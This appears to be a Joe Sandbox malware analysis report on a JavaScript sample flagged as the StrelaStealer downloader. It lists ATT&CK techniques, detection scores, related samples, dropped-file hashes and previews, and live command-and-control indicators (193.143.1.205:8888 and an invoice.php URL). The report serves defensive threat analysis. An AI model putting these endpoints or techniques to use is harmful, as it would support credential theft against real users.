Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3000822141700718957.js	11%	Virustotal		Browse
3000822141700718957.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1520218378.000001E55BA00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2729969672.00000220D280E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1507248543.00000220D26B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/g	net.exe, 00000007.00000002.1520756464.000001E55BA21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1516501341.000001E55BA21000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1516501341.000001E55BA21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1520218378.000001E55BA00000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588987
Start date and time:	2025-01-11 08:04:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3000822141700718957.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 3.219.243.226, 4.245.163.56, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:05:39	API Interceptor	26x Sleep call for process: powershell.exe modified
02:05:44	API Interceptor	1x Sleep call for process: net.exe modified
02:05:44	API Interceptor	2x Sleep call for process: svchost.exe modified
02:05:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	894623912226711207.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021867548475561
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAV:RJE+Lfki1GjHwU/+vVhWqp8
MD5:	62F828F0F46EF1D106E1E4B31912EBE0
SHA1:	23D6C1C4EFBC409ADDEE718435333D916640D02B
SHA-256:	EEF01CF13F0A62171C8FBA3EAD85D31647AC1D230A66993E7FFE374FD25D5B5B
SHA-512:	B6E76F7E7B5B97A5D58CF8F77A8C8E473B5E865E59C4B8544753FFDED038CA8AD61C226BFC7E048E31F02C3FFB42E406862EA0012931F777B8F525140BD9B21D
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd0617b50, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432859497075842
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	CEDCC8BA50951B900A220670C7C20248
SHA1:	AEB911DE0D5F9E9B68594D54F62E8BEE9F8656AA
SHA-256:	8065B1B959DE0867CC087E13B2FB6F7972769FA0C9D02E61FF2B994B4FFCBEF8
SHA-512:	F2F8C4F901BC65DAB54BF82D3262ED1B49F0AE11FEF5C9D37CC252506394D12303D2944EE984020946BE1C765A857CB811362982F15499180FA002C5BEAA12B8
Malicious:	false
Preview:	.a{P... ...............X\...;...{......................0.x...... ...{s.-....}w.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................J.-....}...................<.9-....}w..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08110920968952061
Encrypted:	false
SSDEEP:	3:ZS6Ye/nrYcXqesl/nqlFcl1ZUllllRIuRcwllGBnX/l/Tj/k7/t:Zdz/nrnXqesl/qlFclQ/liQ254
MD5:	EF3BF676D11DBFAE73AC9CE8E74E89C6
SHA1:	BCF7827F80AF731220DEDF2CBB05571683853DAC
SHA-256:	9E424F4F0C1423D5302B38108B3862C80C42C09DDD281E0433A9F12A9E479383
SHA-512:	7D51EBC8627C724CC6758924D9047DD9CE651DE90DB5BEEB5F7B066D000E38779E0D7E615936E2678CB90DFC9055244865F4655A6E5DDF8B14D5224206071334
Malicious:	false
Preview:	.o.......................................;...{..-....}w.. ...{s.......... ...{s.. ...{s.P.... ...{s..................<.9-....}w.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.211430431861797
Encrypted:	false
SSDEEP:	6:iOSY+q2PCHhJ2nKuAl9OmbnIFUtoGZmwWLJnVkwOCHhJ2nKuAl9OmbjLJ:7StvBHAahFUtoG/WLJV56HAaSJ
MD5:	9CE70A0F7F237C28BE780F259637823B
SHA1:	505374BD29F429B2CF70C4BA8A9B2CC0A04BA6B4
SHA-256:	7294FB54C7137028B468EF4AB64E70349F2EF081C8DED1F613C15D9CA732B0C9
SHA-512:	85B34466E5350C05DCF45EF046B0AC83F16785773FD4460853F71E51CA0837A48F0F67D087684A2D579142FB3B5DBFFE46163FC62C2FF2A6E61DA332B61893F4
Malicious:	false
Preview:	2025/01/11-02:05:44.317 1608 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:05:44.319 1608 Recovering log #3.2025/01/11-02:05:44.321 1608 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.211430431861797
Encrypted:	false
SSDEEP:	6:iOSY+q2PCHhJ2nKuAl9OmbnIFUtoGZmwWLJnVkwOCHhJ2nKuAl9OmbjLJ:7StvBHAahFUtoG/WLJV56HAaSJ
MD5:	9CE70A0F7F237C28BE780F259637823B
SHA1:	505374BD29F429B2CF70C4BA8A9B2CC0A04BA6B4
SHA-256:	7294FB54C7137028B468EF4AB64E70349F2EF081C8DED1F613C15D9CA732B0C9
SHA-512:	85B34466E5350C05DCF45EF046B0AC83F16785773FD4460853F71E51CA0837A48F0F67D087684A2D579142FB3B5DBFFE46163FC62C2FF2A6E61DA332B61893F4
Malicious:	false
Preview:	2025/01/11-02:05:44.317 1608 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:05:44.319 1608 Recovering log #3.2025/01/11-02:05:44.321 1608 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.138287574292598
Encrypted:	false
SSDEEP:	6:iOSrq2PCHhJ2nKuAl9Ombzo2jMGIFUto97XZmwW97FkwOCHhJ2nKuAl9Ombzo2jz:7SrvBHAa8uFUtot/Wf56HAa8RJ
MD5:	30D76B8C4CF83F9424054E3830BAAA30
SHA1:	0C6C6CED7DD885FA21486BD226AEAE21F9BAE232
SHA-256:	54DFC1EF2A08AA857D7F855DA95ACDA41E294497C6A06DE5491DFA7F01B3F91A
SHA-512:	BC980C337D5478ECB11A54D7DA88CB5B65E133248B4F7AE9701D696543F90A253C395A2389D0921D972AE8F39DA603A5C0770F9E851DE00D745B536B11BC090F
Malicious:	false
Preview:	2025/01/11-02:05:44.428 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:05:44.430 804 Recovering log #3.2025/01/11-02:05:44.430 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.138287574292598
Encrypted:	false
SSDEEP:	6:iOSrq2PCHhJ2nKuAl9Ombzo2jMGIFUto97XZmwW97FkwOCHhJ2nKuAl9Ombzo2jz:7SrvBHAa8uFUtot/Wf56HAa8RJ
MD5:	30D76B8C4CF83F9424054E3830BAAA30
SHA1:	0C6C6CED7DD885FA21486BD226AEAE21F9BAE232
SHA-256:	54DFC1EF2A08AA857D7F855DA95ACDA41E294497C6A06DE5491DFA7F01B3F91A
SHA-512:	BC980C337D5478ECB11A54D7DA88CB5B65E133248B4F7AE9701D696543F90A253C395A2389D0921D972AE8F39DA603A5C0770F9E851DE00D745B536B11BC090F
Malicious:	false
Preview:	2025/01/11-02:05:44.428 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:05:44.430 804 Recovering log #3.2025/01/11-02:05:44.430 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ebfed21-8595-4a08-98b7-fde29e510698.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.973727094891687
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqg4hsBdOg2HLcaq3QYiub6P7E4T3y:Y2sRds74ydMHy3QYhbS7nby
MD5:	F3433F16997461F72B9354E33B4818B6
SHA1:	7215312D1812680D34DCACB2609E080BB3EDCF43
SHA-256:	94B2F66D8F4715BC5072FA1114241952025041AA84AF1EB17D4F76A6D533878F
SHA-512:	D5B9EF158DBB757F8157059CEBE483AD18B4946B44C44F2BEE5E0FFCC49CD4BCCFE06E055006A5C438A463D8027D5D29F78A7C4DDACB71DF7B3EFBFC20C25C72
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139155977996","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127605},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.973727094891687
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqg4hsBdOg2HLcaq3QYiub6P7E4T3y:Y2sRds74ydMHy3QYhbS7nby
MD5:	F3433F16997461F72B9354E33B4818B6
SHA1:	7215312D1812680D34DCACB2609E080BB3EDCF43
SHA-256:	94B2F66D8F4715BC5072FA1114241952025041AA84AF1EB17D4F76A6D533878F
SHA-512:	D5B9EF158DBB757F8157059CEBE483AD18B4946B44C44F2BEE5E0FFCC49CD4BCCFE06E055006A5C438A463D8027D5D29F78A7C4DDACB71DF7B3EFBFC20C25C72
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139155977996","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127605},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237142681329529
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bPvUtK6x9:S43C4mS7fFi0KFYDjr3LWO3V3aw+bPsp
MD5:	49302B615DEC7E965D16CA0EBD0E95C8
SHA1:	2C8246B32B175C7B173E59FF2C670B0F68F899A9
SHA-256:	BB63A34F17D0BFC24B64815165BB72C914AB8DE3466FB5A42A53A66AFC350B5A
SHA-512:	12F01A2458A9007E5BDB3574BF1F92FA309BCBC0E1FF01CD7211AB187F0AEF03FAA997D2BA2B7173CC1CE1F66CEA1FB4F0A3199575EADFE07EE5AE5777D36B32
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.202920628735633
Encrypted:	false
SSDEEP:	6:iOSWIq2PCHhJ2nKuAl9OmbzNMxIFUtoB7XZmwWYVRFkwOCHhJ2nKuAl9OmbzNMFd:7SWIvBHAa8jFUtodX/W4RF56HAa84J
MD5:	AC856B45BA12908EEA2BFD042ED82918
SHA1:	A7790BC1749205D8F83C1B48AE315B4236359F89
SHA-256:	FB5642C54FD3C64216D153BF30094D120D10C5565FA172CDA0A562970BE3978A
SHA-512:	4BFDF7A812B97E3FB2B24A0AD35AAC74A18B7BC707B9CFBA3C261C12EC96FB5AD25EC16A3DE967F68E4FBCDDEAC98E9AC9BBEE1EAC88DBBC09B5F18EB4E2277F
Malicious:	false
Preview:	2025/01/11-02:05:44.617 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:05:44.618 804 Recovering log #3.2025/01/11-02:05:44.619 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.202920628735633
Encrypted:	false
SSDEEP:	6:iOSWIq2PCHhJ2nKuAl9OmbzNMxIFUtoB7XZmwWYVRFkwOCHhJ2nKuAl9OmbzNMFd:7SWIvBHAa8jFUtodX/W4RF56HAa84J
MD5:	AC856B45BA12908EEA2BFD042ED82918
SHA1:	A7790BC1749205D8F83C1B48AE315B4236359F89
SHA-256:	FB5642C54FD3C64216D153BF30094D120D10C5565FA172CDA0A562970BE3978A
SHA-512:	4BFDF7A812B97E3FB2B24A0AD35AAC74A18B7BC707B9CFBA3C261C12EC96FB5AD25EC16A3DE967F68E4FBCDDEAC98E9AC9BBEE1EAC88DBBC09B5F18EB4E2277F
Malicious:	false
Preview:	2025/01/11-02:05:44.617 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:05:44.618 804 Recovering log #3.2025/01/11-02:05:44.619 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
